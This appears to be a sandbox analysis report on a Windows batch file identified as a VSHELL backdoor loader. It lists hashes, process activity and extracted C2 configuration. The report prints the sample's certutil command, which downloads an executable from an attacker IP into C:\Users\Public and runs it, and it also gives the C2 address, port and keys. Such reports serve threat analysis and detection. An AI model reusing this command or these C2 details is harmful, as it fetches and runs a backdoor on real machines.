Analysis
- max time kernel
148s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
27/09/2026, 06:25
Static task
static1
Behavioral task
behavioral1
Sample
windows.bat
Resource
win10v2004-20260911-en
windows10-2004-x64
9 signatures
150 seconds
General
- Target windows.bat
- Size 493B
- Sample260927-g63p2aae76
- SHA256 72d6bdce7b0018554dc012112c2ca58aea987a52dca5073bc792222a8fad8d6e
- MD5 3528a5ff4dd730963ef8b9ef29d33e8e
- SHA1 684f4dd098da9e93f8b1e50ea8cad7853719a684
- SHA512 97bd0b86b721c38646694bfa8489123de4d87dbd4eceb775cd14762952c59e90586865cd624879f6cd312d15c05d35e1d6d1d820850e83e3d41cc3d7f7c2509d
- TLSH T1CAF0D48DE45115700FD7D967B69078C1F35940C24A20C4C4BCD432D98ECD69A39EF6C3
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Family
-
vshell
C2
-
ws://43.136.40.48
Attributes
-
port
8088
-
salt
qwe123qwe
-
type
ws
-
vkey
qwe123qwe
Signatures
- Detects VSHELL Backdoor 1 IoCs
resource yara_rule behavioral2/memory/2808-7-0x0000000067D40000-0x0000000068534000-memory.dmp family_vshell - Downloads MZ/PE file 2 IoCs
flow pid Process 5 3020 certutil.exe 7 3020 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 2808 e0b8a6e0ws.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4876 cmd.exe 1096 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname e0b8a6e0ws.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain e0b8a6e0ws.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 852 WMIC.exe 852 WMIC.exe 852 WMIC.exe 852 WMIC.exe 2808 e0b8a6e0ws.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 852 WMIC.exe Token: SeSecurityPrivilege 852 WMIC.exe Token: SeTakeOwnershipPrivilege 852 WMIC.exe Token: SeLoadDriverPrivilege 852 WMIC.exe Token: SeSystemProfilePrivilege 852 WMIC.exe Token: SeSystemtimePrivilege 852 WMIC.exe Token: SeProfSingleProcessPrivilege 852 WMIC.exe Token: SeIncBasePriorityPrivilege 852 WMIC.exe Token: SeCreatePagefilePrivilege 852 WMIC.exe Token: SeBackupPrivilege 852 WMIC.exe Token: SeRestorePrivilege 852 WMIC.exe Token: SeShutdownPrivilege 852 WMIC.exe Token: SeDebugPrivilege 852 WMIC.exe Token: SeSystemEnvironmentPrivilege 852 WMIC.exe Token: SeRemoteShutdownPrivilege 852 WMIC.exe Token: SeUndockPrivilege 852 WMIC.exe Token: SeManageVolumePrivilege 852 WMIC.exe Token: 33 852 WMIC.exe Token: 34 852 WMIC.exe Token: 35 852 WMIC.exe Token: 36 852 WMIC.exe Token: SeIncreaseQuotaPrivilege 852 WMIC.exe Token: SeSecurityPrivilege 852 WMIC.exe Token: SeTakeOwnershipPrivilege 852 WMIC.exe Token: SeLoadDriverPrivilege 852 WMIC.exe Token: SeSystemProfilePrivilege 852 WMIC.exe Token: SeSystemtimePrivilege 852 WMIC.exe Token: SeProfSingleProcessPrivilege 852 WMIC.exe Token: SeIncBasePriorityPrivilege 852 WMIC.exe Token: SeCreatePagefilePrivilege 852 WMIC.exe Token: SeBackupPrivilege 852 WMIC.exe Token: SeRestorePrivilege 852 WMIC.exe Token: SeShutdownPrivilege 852 WMIC.exe Token: SeDebugPrivilege 852 WMIC.exe Token: SeSystemEnvironmentPrivilege 852 WMIC.exe Token: SeRemoteShutdownPrivilege 852 WMIC.exe Token: SeUndockPrivilege 852 WMIC.exe Token: SeManageVolumePrivilege 852 WMIC.exe Token: 33 852 WMIC.exe Token: 34 852 WMIC.exe Token: 35 852 WMIC.exe Token: 36 852 WMIC.exe Token: SeDebugPrivilege 2808 e0b8a6e0ws.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 1096 wrote to memory of 4876 1096 cmd.exe 90 PID 4876 wrote to memory of 852 4876 cmd.exe 91 PID 4876 wrote to memory of 3408 4876 cmd.exe 92 PID 1096 wrote to memory of 3020 1096 cmd.exe 94 PID 1096 wrote to memory of 2808 1096 cmd.exe 95
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1096 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4876 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:852
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:3408
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://43.136.40.48:8088/?h=43.136.40.48&p=8088&t=ws&a=w64&stage=true" "C:\Users\Public\e0b8a6e0ws.exe"2⤵
- Downloads MZ/PE file
PID:3020
-
-
C:\Users\Public\e0b8a6e0ws.exe"C:\Users\Public\e0b8a6e0ws.exe"2⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2808
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Public\e0b8a6e0ws.exe
- Size 4KB
- SHA256 eef2ce3de825b624a1abaa97c22417a25a17f1d52563e6f2c7b0153a4dfa392b
- MD5 cf24ee84df3f316be90c2ff7e21a0ecb
- SHA1 df33e19fe5ddc8924f74bceb5ea9164c357384fc
- SHA512 8f9afd4a53196cd8a5eb424e71e5bda828b7d1fec39190664d2565d1c6a8f169fed1d07bb2eb92ab9bdbc32cc106ab4e3373dc8e5d1605cd8ac2ef0c262b2b61
- SSDEEP 48:6IIF9BlQaexXvgZoB7An0cF5uduvxRxUjbON9XM/ge93ahr0/:y9BOaMXy30cF50uDxUOvXeg
- TLSH T18791C74170B989E7E85D957B4C0FB890B919740A41C4C3A60378A5953E3957BF57CB0D
- MD5 SHA1 SHA512 SSDEEP TLSH